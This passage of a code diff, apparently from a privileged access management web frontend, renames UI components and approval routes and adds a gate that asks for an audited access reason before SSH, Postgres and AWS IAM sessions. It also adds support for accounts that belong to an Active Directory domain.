+              <TableHead onClick={toggleOrderDirection} className="w-2/3">
                 Name
                 <ChevronDownIcon
                   className={twMerge(
@@ -128,12 +128,12 @@ export const UserProjectsTable = ({
                     "transition-transform"
                   )}
                 />
-              </UnstableTableHead>
-              <UnstableTableHead>Role</UnstableTableHead>
-              <UnstableTableHead className="w-5" />
-            </UnstableTableRow>
-          </UnstableTableHeader>
-          <UnstableTableBody>
+              </TableHead>
+              <TableHead>Role</TableHead>
+              <TableHead className="w-5" />
+            </TableRow>
+          </TableHeader>
+          <TableBody>
             {filteredProjectMemberships.slice(offset, perPage * page).map((membership) => {
               return (
                 <UserProjectRow
@@ -143,23 +143,23 @@ export const UserProjectsTable = ({
                 />
               );
             })}
-          </UnstableTableBody>
-        </UnstableTable>
+          </TableBody>
+        </Table>
       ) : (
-        <UnstableEmpty className="border">
-          <UnstableEmptyHeader>
-            <UnstableEmptyTitle>
+        <Empty className="border">
+          <EmptyHeader>
+            <EmptyTitle>
               {projectMemberships.length
                 ? "No projects match this search"
                 : "This user is not a member of any projects"}
-            </UnstableEmptyTitle>
-            <UnstableEmptyDescription>
+            </EmptyTitle>
+            <EmptyDescription>
               {projectMemberships.length
                 ? "Adjust search filters to view project memberships."
                 : "Assign this user to a project."}
-            </UnstableEmptyDescription>
+            </EmptyDescription>
             {!projectMemberships.length && canAddToProject && (
-              <UnstableEmptyContent>
+              <EmptyContent>
                 <Button
                   variant={isSubOrganization ? "sub-org" : "org"}
                   size="xs"
@@ -172,13 +172,13 @@ export const UserProjectsTable = ({
                   <PlusIcon />
                   Add to Project
                 </Button>
-              </UnstableEmptyContent>
+              </EmptyContent>
             )}
-          </UnstableEmptyHeader>
-        </UnstableEmpty>
+          </EmptyHeader>
+        </Empty>
       )}
       {Boolean(filteredProjectMemberships.length) && (
-        <UnstablePagination
+        <Pagination
           count={filteredProjectMemberships.length}
           page={page}
           perPage={perPage}
diff --git a/frontend/src/pages/pam/ApprovalRequestDetailPage/route.tsx b/frontend/src/pages/pam/ApprovalRequestDetailPage/route.tsx
index b39a2511cef..e1699007fda 100644
--- a/frontend/src/pages/pam/ApprovalRequestDetailPage/route.tsx
+++ b/frontend/src/pages/pam/ApprovalRequestDetailPage/route.tsx
@@ -3,7 +3,7 @@ import { createFileRoute } from "@tanstack/react-router";
 import { ApprovalRequestDetailPage } from "./ApprovalRequestDetailPage";
 
 export const Route = createFileRoute(
-  "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/approval-requests/$approvalRequestId"
+  "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/approvals/$approvalRequestId"
 )({
   component: ApprovalRequestDetailPage,
   beforeLoad: ({ context }) => {
diff --git a/frontend/src/pages/pam/ApprovalsPage/components/ApprovalRequestTab/ApprovalRequestTab.tsx b/frontend/src/pages/pam/ApprovalsPage/components/ApprovalRequestTab/ApprovalRequestTab.tsx
index 22839b463d2..ada1ebc9706 100644
--- a/frontend/src/pages/pam/ApprovalsPage/components/ApprovalRequestTab/ApprovalRequestTab.tsx
+++ b/frontend/src/pages/pam/ApprovalsPage/components/ApprovalRequestTab/ApprovalRequestTab.tsx
@@ -144,7 +144,7 @@ export const ApprovalRequestTab = () => {
 
   const handleRowClick = (requestId: string) => {
     navigate({
-      to: "/organizations/$orgId/projects/pam/$projectId/approval-requests/$approvalRequestId",
+      to: "/organizations/$orgId/projects/pam/$projectId/approvals/$approvalRequestId",
       params: {
         orgId: currentOrg.id,
         projectId: currentProject.id,
diff --git a/frontend/src/pages/pam/ApprovalsPage/components/RequestGrantTab/RequestGrantTab.tsx b/frontend/src/pages/pam/ApprovalsPage/components/RequestGrantTab/RequestGrantTab.tsx
index 2628b7f7447..8abd7f6efcb 100644
--- a/frontend/src/pages/pam/ApprovalsPage/components/RequestGrantTab/RequestGrantTab.tsx
+++ b/frontend/src/pages/pam/ApprovalsPage/components/RequestGrantTab/RequestGrantTab.tsx
@@ -365,7 +365,7 @@ export const RequestGrantTab = () => {
                             </DropdownMenuTrigger>
                             <DropdownMenuContent align="end" className="p-1" sideOffset={5}>
                               <Link
-                                to="/organizations/$orgId/projects/pam/$projectId/approval-requests/$approvalRequestId"
+                                to="/organizations/$orgId/projects/pam/$projectId/approvals/$approvalRequestId"
                                 params={{
                                   orgId: currentProject.orgId,
                                   projectId: currentProject.id,
diff --git a/frontend/src/pages/pam/ApprovalsPage/route.tsx b/frontend/src/pages/pam/ApprovalsPage/route.tsx
index ce59de48576..5bc6f7b3309 100644
--- a/frontend/src/pages/pam/ApprovalsPage/route.tsx
+++ b/frontend/src/pages/pam/ApprovalsPage/route.tsx
@@ -11,7 +11,7 @@ const ApprovalPagePageQuerySchema = z.object({
 });
 
 export const Route = createFileRoute(
-  "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/approvals"
+  "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/approvals/"
 )({
   component: ApprovalsPage,
   validateSearch: zodValidator(ApprovalPagePageQuerySchema),
diff --git a/frontend/src/pages/pam/PamAccountAccessPage/PamAccountAccessPage.tsx b/frontend/src/pages/pam/PamAccountAccessPage/PamAccountAccessPage.tsx
index 6e6d9e635c1..0d9fa7a0160 100644
--- a/frontend/src/pages/pam/PamAccountAccessPage/PamAccountAccessPage.tsx
+++ b/frontend/src/pages/pam/PamAccountAccessPage/PamAccountAccessPage.tsx
@@ -2,30 +2,33 @@ import { useState } from "react";
 import { Helmet } from "react-helmet";
 import { useParams } from "@tanstack/react-router";
 
-import { PamResourceType, useGetPamAccountById } from "@app/hooks/api/pam";
+import { PamResourceType, TPamAccount, useGetPamAccountById } from "@app/hooks/api/pam";
 import { PamDataExplorerPage } from "@app/pages/pam/PamDataExplorerPage/PamDataExplorerPage";
 
+import { ReasonGate } from "./ReasonGate";
 import { useWebAccessSession } from "./useWebAccessSession";
 
 const TerminalContent = ({
-  accountId,
+  account,
   projectId,
-  orgId
+  orgId,
+  reason
 }: {
-  accountId: string;
+  account: TPamAccount;
   projectId: string;
   orgId: string;
+  reason?: string;
 }) => {
-  const { data: account, isPending } = useGetPamAccountById(accountId);
   const [sessionEnded, setSessionEnded] = useState(false);
 
   const { containerRef, isConnected, disconnect, reconnect } = useWebAccessSession({
-    accountId,
+    accountId: account.id,
     projectId,
     orgId,
-    resourceName: account?.resource.name ?? "",
+    resourceName: account?.resource?.name ?? "",
     accountName: account?.name ?? "",
-    resourceType: account?.resource.resourceType ?? "",
+    resourceType: account?.resource?.resourceType ?? "",
+    reason,
     onSessionEnd: () => setSessionEnded(true)
   });
 
@@ -34,22 +37,6 @@ const TerminalContent = ({
     reconnect();
   };
 
-  if (isPending) {
-    return (
-      <div className="flex h-screen w-screen items-center justify-center bg-[#0d1117] text-mineshaft-300">
-        Loading...
-      </div>
-    );
-  }
-
-  if (!account) {
-    return (
-      <div className="flex h-screen w-screen items-center justify-center bg-[#0d1117]">
-        <p className="text-mineshaft-300">Could not find PAM Account with ID {accountId}</p>
-      </div>
-    );
-  }
-
   let statusLabel = "Connecting";
   let statusDotClass = "bg-yellow-500";
   if (isConnected) {
@@ -94,7 +81,7 @@ const TerminalContent = ({
         <div className="flex items-center gap-4">
           <span>
             <span className="text-mineshaft-400">Resource:</span>{" "}
-            <span className="text-mineshaft-300">{account.resource.name}</span>
+            <span className="text-mineshaft-300">{account.resource?.name}</span>
           </span>
           <span className="text-mineshaft-500">|</span>
           <span>
@@ -129,11 +116,37 @@ const PageContent = () => {
     );
   }
 
-  if (account?.resource.resourceType === PamResourceType.Postgres) {
-    return <PamDataExplorerPage />;
+  if (!account) {
+    return (
+      <div className="flex h-screen w-screen items-center justify-center bg-[#0d1117]">
+        <p className="text-mineshaft-300">Could not find PAM Account with ID {accountId}</p>
+      </div>
+    );
+  }
+
+  // SSH uses inline terminal prompts for reason — bypass the upfront ReasonGate so the
+  // approval prompt and reason prompt render in the same terminal stream, in order.
+  if (account.resource?.resourceType === PamResourceType.SSH) {
+    return <TerminalContent account={account} projectId={projectId!} orgId={orgId!} />;
   }
 
-  return <TerminalContent accountId={accountId!} projectId={projectId!} orgId={orgId!} />;
+  return (
+    <ReasonGate account={account}>
+      {(reason) => {
+        if (account.resource?.resourceType === PamResourceType.Postgres) {
+          return <PamDataExplorerPage reason={reason} />;
+        }
+        return (
+          <TerminalContent
+            account={account}
+            projectId={projectId!}
+            orgId={orgId!}
+            reason={reason}
+          />
+        );
+      }}
+    </ReasonGate>
+  );
 };
 
 export const PamAccountAccessPage = () => {
diff --git a/frontend/src/pages/pam/PamAccountAccessPage/ReasonGate.tsx b/frontend/src/pages/pam/PamAccountAccessPage/ReasonGate.tsx
new file mode 100644
index 00000000000..e80276cf2e9
--- /dev/null
+++ b/frontend/src/pages/pam/PamAccountAccessPage/ReasonGate.tsx
@@ -0,0 +1,73 @@
+import { ReactNode, useState } from "react";
+import { AlertTriangleIcon } from "lucide-react";
+
+import { Button } from "@app/components/v3/generic/Button";
+import { TPamAccount } from "@app/hooks/api/pam";
+
+type Props = {
+  account: TPamAccount;
+  children: (reason: string) => ReactNode;
+};
+
+export const ReasonGate = ({ account, children }: Props) => {
+  const [submittedReason, setSubmittedReason] = useState<string | null>(null);
+  const [draft, setDraft] = useState("");
+  const [touched, setTouched] = useState(false);
+
+  if (submittedReason !== null) {
+    return <>{children(submittedReason)}</>;
+  }
+
+  const isReasonRequired = Boolean(account.requireReason);
+
+  const trimmed = draft.trim();
+  const canContinue = !isReasonRequired || trimmed.length > 0;
+  const showError = touched && isReasonRequired && trimmed.length === 0;
+
+  const handleSubmit = () => {
+    if (!canContinue) {
+      setTouched(true);
+      return;
+    }
+    setSubmittedReason(trimmed);
+  };
+
+  return (
+    <div className="flex h-screen w-screen flex-col items-center justify-center gap-3 bg-bunker-800">
+      {isReasonRequired ? <AlertTriangleIcon className="size-8 text-mineshaft-400" /> : null}
+      <h2 className="text-sm font-medium text-mineshaft-100">
+        {isReasonRequired ? "Reason Required" : "Before You Continue"}
+      </h2>
+      <p className="max-w-sm text-center text-xs text-mineshaft-400">
+        {isReasonRequired
+          ? "This account's policy requires a reason for access. The reason will be stored for audit purposes."
+          : "Optionally provide a reason for this session. The reason will be stored for audit purposes."}
+      </p>
+      <div className="flex w-full max-w-sm flex-col gap-2">
+        <textarea
+          className="w-full rounded border border-mineshaft-600 bg-bunker-700 px-3 py-2 text-xs text-mineshaft-200 placeholder:text-mineshaft-500 focus:border-mineshaft-400 focus:outline-none"
+          placeholder={
+            isReasonRequired
+              ? "e.g. Investigating incident INC-1234"
+              : "Optional, e.g. Running migration for release 2.4"
+          }
+          rows={3}
+          maxLength={1000}
+          value={draft}
+          onChange={(e) => setDraft(e.target.value)}
+          onKeyDown={(e) => {
+            if ((e.metaKey || e.ctrlKey) && e.key === "Enter") {
+              handleSubmit();
+            }
+          }}
+        />
+        {showError && <p className="text-xs text-red-400">A reason is required to continue.</p>}
+        <div className="flex justify-center gap-2">
+          <Button variant="outline" size="xs" onClick={handleSubmit}>
+            {!isReasonRequired && trimmed.length === 0 ? "Skip & Continue" : "Continue"}
+          </Button>
+        </div>
+      </div>
+    </div>
+  );
+};
diff --git a/frontend/src/pages/pam/PamAccountAccessPage/useWebAccessSession.ts b/frontend/src/pages/pam/PamAccountAccessPage/useWebAccessSession.ts
index 1116c96f612..df9234d7221 100644
--- a/frontend/src/pages/pam/PamAccountAccessPage/useWebAccessSession.ts
+++ b/frontend/src/pages/pam/PamAccountAccessPage/useWebAccessSession.ts
@@ -18,6 +18,7 @@ type UseWebAccessSessionOptions = {
   resourceName: string;
   accountName: string;
   resourceType: string;
+  reason?: string;
   onSessionEnd?: () => void;
 };
 
@@ -28,6 +29,7 @@ export const useWebAccessSession = ({
   resourceName,
   accountName,
   resourceType,
+  reason,
   onSessionEnd
 }: UseWebAccessSessionOptions) => {
   const [containerEl, setContainerEl] = useState<HTMLDivElement | null>(null);
@@ -45,6 +47,10 @@ export const useWebAccessSession = ({
   const nextPromptRejecterRef = useRef<((reason: Error) => void) | null>(null);
 
   const onSessionEndRef = useRef(onSessionEnd);
+  // Seed with the prop so non-SSH flows (which collect reason via the upfront ReasonGate)
+  // pass it on the first connect; SSH leaves it undefined and uses the inline terminal prompt.
+  const submittedReasonRef = useRef<string | undefined>(reason);
+  const askedOptionalReasonRef = useRef(false);
 
   useEffect(() => {
     onSessionEndRef.current = onSessionEnd;
@@ -237,13 +243,27 @@ export const useWebAccessSession = ({
     try {
       const { data } = await apiRequest.post<{ ticket: string }>(
         `/api/v1/pam/accounts/${accountId}/web-access-ticket`,
-        { projectId }
+        { projectId, reason: submittedReasonRef.current }
       );
       if (containerEl) {
         containerEl.style.width = "";
         isWidenedRef.current = false;
       }
       if (fitAddonRef.current) fitAddonRef.current.fit();
+
+      if (isSSH && submittedReasonRef.current === undefined && !askedOptionalReasonRef.current) {
+        askedOptionalReasonRef.current = true;
+        const optional = await prompt(
+          "\r\nOptionally provide a reason for this session (press Enter to skip): "
+        );
+        if (optional.trim()) {
+          submittedReasonRef.current = optional.trim();
+          terminal.reset();
+          connect();
+          return;
+        }
+      }
+
       terminal.reset();
       openWebSocket(terminal, data.ticket);
     } catch (err: unknown) {
@@ -329,7 +349,7 @@ export const useWebAccessSession = ({
           terminal.reset();
           const { data: retryData } = await apiRequest.post<{ ticket: string }>(
             `/api/v1/pam/accounts/${accountId}/web-access-ticket`,
-            { projectId, mfaSessionId }
+            { projectId, mfaSessionId, reason: submittedReasonRef.current }
           );
           openWebSocket(terminal, retryData.ticket);
         } catch {
@@ -378,7 +398,7 @@ export const useWebAccessSession = ({
 
           terminal.write("\r\nApproval request created successfully!\r\n");
 
-          const approvalUrl = `${window.location.origin}/organizations/${orgId}/projects/pam/${projectId}/approval-requests/${approvalData.request.id}`;
+          const approvalUrl = `${window.location.origin}/organizations/${orgId}/projects/pam/${projectId}/approvals/${approvalData.request.id}`;
           terminal.write(`View details at: ${approvalUrl}\r\n`);
 
           await prompt("\r\nOnce approved, press Enter to reconnect.");
@@ -398,6 +418,25 @@ export const useWebAccessSession = ({
         return;
       }
 
+      if (axiosErr?.response?.data?.error === "PAM_REASON_REQUIRED") {
+        terminal.write("\r\nThis account requires a reason for access.\r\n");
+
+        const reasonInput = await prompt("\r\nEnter reason: ");
+
+        if (!reasonInput.trim()) {
+          terminal.write("\r\nA reason is required to continue.\r\n");
+          await prompt("\r\nPress Enter to try again.");
+          terminal.reset();
+          connect();
+          return;
+        }
+
+        submittedReasonRef.current = reasonInput.trim();
+        terminal.reset();
+        connect();
+        return;
+      }
+
       terminal.write("\r\nFailed to connect. Please close and try again.\r\n");
     }
   }, [accountId, projectId, orgId, resourceName, accountName, containerEl, openWebSocket]);
diff --git a/frontend/src/pages/pam/PamAccountByIDPage/PamAccountByIDPage.tsx b/frontend/src/pages/pam/PamAccountByIDPage/PamAccountByIDPage.tsx
index 9bf4db39503..d2c6adf1b87 100644
--- a/frontend/src/pages/pam/PamAccountByIDPage/PamAccountByIDPage.tsx
+++ b/frontend/src/pages/pam/PamAccountByIDPage/PamAccountByIDPage.tsx
@@ -3,7 +3,7 @@ import { Helmet } from "react-helmet";
 import { faChevronLeft } from "@fortawesome/free-solid-svg-icons";
 import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
 import { useQueryClient } from "@tanstack/react-query";
-import { useNavigate, useParams, useSearch } from "@tanstack/react-router";
+import { useNavigate, useParams } from "@tanstack/react-router";
 import {
   BanIcon,
   EllipsisVerticalIcon,
@@ -15,17 +15,16 @@ import {
 
 import { createNotification } from "@app/components/notifications";
 import { ProjectPermissionCan } from "@app/components/permissions";
-import { Tab, TabList, TabPanel, Tabs } from "@app/components/v2";
 import {
   Button,
-  UnstableDropdownMenu,
-  UnstableDropdownMenuContent,
-  UnstableDropdownMenuItem,
-  UnstableDropdownMenuTrigger,
-  UnstableEmpty,
-  UnstableEmptyHeader,
-  UnstableEmptyTitle,
-  UnstablePageLoader
+  DropdownMenu,
+  DropdownMenuContent,
+  DropdownMenuItem,
+  DropdownMenuTrigger,
+  Empty,
+  EmptyHeader,
+  EmptyTitle,
+  PageLoader
 } from "@app/components/v3";
 import { ProjectPermissionSub, useOrganization } from "@app/context";
 import { ProjectPermissionPamAccountActions } from "@app/context/ProjectPermissionContext/types";
@@ -40,19 +39,20 @@ import {
 } from "@app/hooks/api/pam";
 import { useManualRotateAccount } from "@app/hooks/api/pam/mutations";
 import { pamKeys } from "@app/hooks/api/pam/queries";
+import { PAM_DOMAIN_TYPE_MAP, PamDomainType } from "@app/hooks/api/pamDomain";
 
 import { PamAccessAccountModal } from "../PamAccountsPage/components/PamAccessAccountModal";
+import { PamAwsIamAccessReasonModal } from "../PamAccountsPage/components/PamAwsIamAccessReasonModal";
 import { PamDeleteAccountModal } from "../PamAccountsPage/components/PamDeleteAccountModal";
 import { PamRequestAccountAccessModal } from "../PamAccountsPage/components/PamRequestAccountAccessModal";
 import { PamUpdateAccountModal } from "../PamAccountsPage/components/PamUpdateAccountModal";
-import { useAccessAwsIamAccount } from "../PamAccountsPage/components/useAccessAwsIamAccount";
 import {
   PamAccountCredentialsSection,
   PamAccountDependenciesSection,
   PamAccountDetailsSection,
   PamAccountMetadataSection,
   PamAccountPropertiesSection,
-  PamAccountResourcesSection
+  PamSelectResourceModal
 } from "./components";
 
 const PageContent = () => {
@@ -66,98 +66,109 @@ const PageContent = () => {
     orgId?: string;
     resourceType?: string;
     resourceId?: string;
+    domainType?: string;
+    domainId?: string;
   };
 
-  const { accountId, projectId, resourceType, resourceId } = params;
-
-  const selectedTab = useSearch({
-    strict: false,
-    select: (el) => el.selectedTab
-  });
-
-  const handleTabChange = (tab: string) => {
-    navigate({
-      to: "/organizations/$orgId/projects/pam/$projectId/resources/$resourceType/$resourceId/accounts/$accountId",
-      search: (prev) => ({ ...prev, selectedTab: tab }),
-      params: {
-        orgId: currentOrg.id,
-        projectId: projectId!,
-        resourceType: resourceType!,
-        resourceId: resourceId!,
-        accountId: accountId!
-      }
-    });
-  };
+  const { accountId, projectId, resourceType, resourceId, domainType, domainId } = params;
+  const isDomainAccount = !!domainId;
 
   const [isEditModalOpen, setIsEditModalOpen] = useState(false);
+  const [accessReason, setAccessReason] = useState<string | undefined>(undefined);
 
-  const { popUp, handlePopUpOpen, handlePopUpToggle } = usePopUp([
+  const { popUp, handlePopUpOpen, handlePopUpToggle, handlePopUpClose } = usePopUp([
     "accessAccount",
     "requestAccount",
-    "deleteAccount"
+    "deleteAccount",
+    "awsIamReason",
+    "selectResource"
   ] as const);
 
   const queryClient = useQueryClient();
-  const { accessAwsIam, isPending: isAwsAccessPending } = useAccessAwsIamAccount();
   const { mutateAsync: checkPolicyMatch } = useCheckPolicyMatch();
   const rotateAccount = useManualRotateAccount();
 
   const { data: account, isPending } = useGetPamAccountById(accountId);
 
   if (isPending) {
-    return <UnstablePageLoader />;
+    return <PageLoader />;
   }
 
   if (!account) {
     return (
       <div className="flex h-full w-full items-center justify-center px-20">
-        <UnstableEmpty className="max-w-2xl">
-          <UnstableEmptyHeader>
+        <Empty className="max-w-2xl">
+          <EmptyHeader>
             <BanIcon className="size-8 text-muted" />
-            <UnstableEmptyTitle className="text-muted">
+            <EmptyTitle className="text-muted">
               Could not find PAM Account with ID {accountId}
-            </UnstableEmptyTitle>
-          </UnstableEmptyHeader>
-        </UnstableEmpty>
+            </EmptyTitle>
+          </EmptyHeader>
+        </Empty>
       </div>
     );
   }
 
-  const resourceTypeInfo = PAM_RESOURCE_TYPE_MAP[account.resource.resourceType];
+  const resourceTypeInfo = account.resource
+    ? PAM_RESOURCE_TYPE_MAP[account.resource.resourceType]
+    : null;
+
+  const domainTypeInfo = account.domain
+    ? PAM_DOMAIN_TYPE_MAP[account.domain.domainType as PamDomainType]
+    : null;
+
+  const parentTypeInfo = resourceTypeInfo || domainTypeInfo;
 
   const handleBack = () => {
-    navigate({
-      to: "/organizations/$orgId/projects/pam/$projectId/resources/$resourceType/$resourceId",
-      params: {
-        orgId: currentOrg.id,
-        projectId: projectId!,
-        resourceType: resourceType!,
-        resourceId: resourceId!
-      }
-    });
+    if (isDomainAccount) {
+      navigate({
+        to: "/organizations/$orgId/projects/pam/$projectId/domains/$domainType/$domainId",
+        params: {
+          orgId: currentOrg.id,
+          projectId: projectId!,
+          domainType: domainType!,
+          domainId: domainId!
+        }
+      });
+    } else {
+      navigate({
+        to: "/organizations/$orgId/projects/pam/$projectId/resources/$resourceType/$resourceId",
+        params: {
+          orgId: currentOrg.id,
+          projectId: projectId!,
+          resourceType: resourceType!,
+          resourceId: resourceId!
+        }
+      });
+    }
   };
 
   const handleAccess = async () => {
+    if (isDomainAccount && account.domain) {
+      handlePopUpOpen("selectResource");
+      return;
+    }
+
     const { requiresApproval } = await checkPolicyMatch({
       policyType: ApprovalPolicyType.PamAccess,
       projectId: projectId!,
       inputs: {
-        resourceName: account.resource.name,
+        resourceName: account.resource?.name ?? "",
         accountName: account.name
       }
     });
 
     if (requiresApproval) {
       handlePopUpOpen("requestAccount", {
-        resourceName: account.resource.name,
+        resourceName: account.resource?.name ?? "",
         accountName: account.name,
         accountAccessed: true
       });
       return;
     }
 
-    if (account.resource.resourceType === PamResourceType.AwsIam) {
-      accessAwsIam(account);
+    if (account.resource?.resourceType === PamResourceType.AwsIam) {
+      handlePopUpOpen("awsIamReason", { account });
     } else {
       handlePopUpOpen("accessAccount", { account });
     }
@@ -197,68 +208,70 @@ const PageContent = () => {
         className="mb-4 flex items-center gap-1 text-sm text-bunker-300 hover:text-primary-400"
       >
         <FontAwesomeIcon icon={faChevronLeft} className="text-xs" />
-        Back to resource
+        {isDomainAccount ? "Back to domain" : "Back to resource"}
       </button>
 
       <div className="mb-6 flex items-center justify-between">
         <div className="flex items-center gap-4">
-          <div className="flex h-12 w-12 items-center justify-center rounded-lg bg-mineshaft-700">
-            <img
-              alt={resourceTypeInfo.name}
-              src={`/images/integrations/${resourceTypeInfo.image}`}
-              className="size-6"
-            />
-          </div>
+          {parentTypeInfo && (
+            <div className="flex h-12 w-12 items-center justify-center rounded-lg bg-mineshaft-700">
+              <img
+                alt={parentTypeInfo.name}
+                src={`/images/integrations/${parentTypeInfo.image}`}
+                className="size-6"
+              />
+            </div>
+          )}
           <div>
             <h1 className="text-2xl font-semibold text-mineshaft-100">{account.name}</h1>
             <p className="text-sm text-bunker-300">
-              {resourceTypeInfo.name} Account on {account.resource.name}
+              {account.domain
+                ? `${account.domain.domainType === "active-directory" ? "Active Directory" : account.domain.domainType} Account on ${account.domain.name}`
+                : `${resourceTypeInfo?.name ?? ""} Account on ${account.resource?.name ?? ""}`}
             </p>
           </div>
         </div>
         <div className="flex items-center gap-3">
-          {/* Windows Server accounts cannot be accessed temporarily */}
-          {/* Active Directory accounts cannot be accessed */}
-          {account.resource.resourceType !== PamResourceType.Windows &&
-            account.resource.resourceType !== PamResourceType.ActiveDirectory && (
-              <ProjectPermissionCan
-                I={ProjectPermissionPamAccountActions.Access}
-                a={ProjectPermissionSub.PamAccounts}
-              >
-                <Button variant="neutral" onClick={handleAccess} isPending={isAwsAccessPending}>
-                  <LogInIcon />
-                  Access
-                </Button>
-              </ProjectPermissionCan>
-            )}
-          <UnstableDropdownMenu>
-            <UnstableDropdownMenuTrigger asChild>
+          {/* TODO: Disabled for Windows Server and Active Directory accounts until RDP is implemented */}
+          {!isDomainAccount && account.resource?.resourceType !== PamResourceType.Windows && (
+            <ProjectPermissionCan
+              I={ProjectPermissionPamAccountActions.Access}
+              a={ProjectPermissionSub.PamAccounts}
+            >
+              <Button variant="neutral" onClick={handleAccess}>
+                <LogInIcon />
+                Access
+              </Button>
+            </ProjectPermissionCan>
+          )}
+          <DropdownMenu>
+            <DropdownMenuTrigger asChild>
               <Button variant="outline" size="sm">
                 <EllipsisVerticalIcon />
               </Button>
-            </UnstableDropdownMenuTrigger>
-            <UnstableDropdownMenuContent align="end" sideOffset={2}>
+            </DropdownMenuTrigger>
+            <DropdownMenuContent align="end" sideOffset={2}>
               <ProjectPermissionCan
                 I={ProjectPermissionPamAccountActions.Edit}
                 a={ProjectPermissionSub.PamAccounts}
               >
                 {(isAllowed) => (
-                  <UnstableDropdownMenuItem
+                  <DropdownMenuItem
                     onClick={() => setIsEditModalOpen(true)}
                     isDisabled={!isAllowed}
                   >
                     <PencilIcon className="size-3.5" />
                     Edit Account
-                  </UnstableDropdownMenuItem>
+                  </DropdownMenuItem>
                 )}
               </ProjectPermissionCan>
-              {account.resource.rotationCredentialsConfigured && (
+              {account.resource?.rotationCredentialsConfigured && (
                 <ProjectPermissionCan
                   I={ProjectPermissionPamAccountActions.TriggerRotation}
                   a={ProjectPermissionSub.PamAccounts}
                 >
                   {(isAllowed) => (
-                    <UnstableDropdownMenuItem
+                    <DropdownMenuItem
                       onClick={handleRotate}
                       isDisabled={
                         !isAllowed || account.rotationStatus === PamAccountRotationStatus.Rotating
@@ -266,7 +279,7 @@ const PageContent = () => {
                     >
                       <RefreshCwIcon className="size-3.5" />
                       Rotate Account
-                    </UnstableDropdownMenuItem>
+                    </DropdownMenuItem>
                   )}
                 </ProjectPermissionCan>
               )}
@@ -275,18 +288,18 @@ const PageContent = () => {
                 a={ProjectPermissionSub.PamAccounts}
               >
                 {(isAllowed) => (
-                  <UnstableDropdownMenuItem
+                  <DropdownMenuItem
                     onClick={() => handlePopUpOpen("deleteAccount", account)}
                     variant="danger"
                     isDisabled={!isAllowed}
                   >
                     <Trash2Icon className="size-3.5" />
                     Delete Account
-                  </UnstableDropdownMenuItem>
+                  </DropdownMenuItem>
                 )}
               </ProjectPermissionCan>
-            </UnstableDropdownMenuContent>
-          </UnstableDropdownMenu>
+            </DropdownMenuContent>
+          </DropdownMenu>
         </div>
       </div>
 
@@ -299,20 +312,8 @@ const PageContent = () => {
           <PamAccountMetadataSection account={account} />
         </div>
 
-        {/* Right Column - Tabbed Content */}
         <div className="min-w-0 flex-1">
-          <Tabs value={selectedTab} onValueChange={handleTabChange}>
-            <TabList>
-              <Tab value="resources">Resources</Tab>
-              <Tab value="dependencies">Dependencies</Tab>
-            </TabList>
-            <TabPanel value="resources">
-              <PamAccountResourcesSection account={account} onAccessResource={handleAccess} />
-            </TabPanel>
-            <TabPanel value="dependencies">
-              <PamAccountDependenciesSection account={account} />
-            </TabPanel>
-          </Tabs>
+          <PamAccountDependenciesSection account={account} />
         </div>
       </div>
 
@@ -324,9 +325,26 @@ const PageContent = () => {
 
       <PamAccessAccountModal
         isOpen={popUp.accessAccount.isOpen}
-        onOpenChange={(isOpen) => handlePopUpToggle("accessAccount", isOpen)}
+        onOpenChange={(isOpen) => {
+          handlePopUpToggle("accessAccount", isOpen);
+          if (!isOpen) setAccessReason(undefined);
+        }}
         account={popUp.accessAccount.data?.account}
         projectId={projectId!}
+        reason={accessReason}
+      />
+
+      <PamAwsIamAccessReasonModal
+        isOpen={popUp.awsIamReason.isOpen}
+        onOpenChange={(isOpen) => handlePopUpToggle("awsIamReason", isOpen)}
+        account={popUp.awsIamReason.data?.account}
+        onSubmit={(reason) => {
+          const targetAccount = popUp.awsIamReason.data?.account;
+          if (!targetAccount) return;
+          handlePopUpClose("awsIamReason");
+          setAccessReason(reason || undefined);
+          handlePopUpOpen("accessAccount", { account: targetAccount });
+        }}
       />
 
       <PamRequestAccountAccessModal
@@ -343,6 +361,18 @@ const PageContent = () => {
         account={popUp.deleteAccount.data}
         onDeleted={handleBack}
       />
+
+      {isDomainAccount && account.domain && (
+        <PamSelectResourceModal
+          isOpen={popUp.selectResource.isOpen}
+          onOpenChange={(isOpen) => handlePopUpToggle("selectResource", isOpen)}
+          domainType={account.domain.domainType}
+          domainId={account.domain.id}
+          onSelect={(resource) => {
+            handlePopUpOpen("accessAccount", { account, resource });
+          }}
+        />
+      )}
     </div>
   );
 };
diff --git a/frontend/src/pages/pam/PamAccountByIDPage/components/PamAccountCredentialsSection.tsx b/frontend/src/pages/pam/PamAccountByIDPage/components/PamAccountCredentialsSection.tsx
index c6f96a9ac32..d7d07176ed1 100644
--- a/frontend/src/pages/pam/PamAccountByIDPage/components/PamAccountCredentialsSection.tsx
+++ b/frontend/src/pages/pam/PamAccountByIDPage/components/PamAccountCredentialsSection.tsx
@@ -3,19 +3,14 @@ import { CheckIcon, CopyIcon, EyeIcon, EyeOffIcon, PencilIcon } from "lucide-rea
 
 import { createNotification } from "@app/components/notifications";
 import { ProjectPermissionCan } from "@app/components/permissions";
-import {
-  Detail,
-  DetailLabel,
-  DetailValue,
-  UnstableIconButton,
-  UnstableInput
-} from "@app/components/v3";
+import { Detail, DetailLabel, DetailValue, IconButton, Input } from "@app/components/v3";
 import { ProjectPermissionSub } from "@app/context";
 import { ProjectPermissionPamAccountActions } from "@app/context/ProjectPermissionContext/types";
 import { useTimedReset } from "@app/hooks";
 import {
+  KubernetesAuthMethod,
   PamResourceType,
-  TActiveDirectoryAccount,
+  TKubernetesCredentials,
   TPamAccount,
   TWindowsAccount
 } from "@app/hooks/api/pam";
@@ -23,6 +18,7 @@ import { TPamAccountCredentialsResponse } from "@app/hooks/api/pam/queries";
 import { TAwsIamCredentials } from "@app/hooks/api/pam/types/aws-iam-resource";
 import { TBaseSqlCredentials } from "@app/hooks/api/pam/types/shared/sql-resource";
 import { SSHAuthMethod, TSSHCredentials } from "@app/hooks/api/pam/types/ssh-resource";
+import { TActiveDirectoryAccount } from "@app/hooks/api/pamDomain/active-directory-types";
 
 import { SensitiveCredentialsGate } from "./SensitiveCredentialsGate";
 import { useCredentialsReveal } from "./useCredentialsReveal";
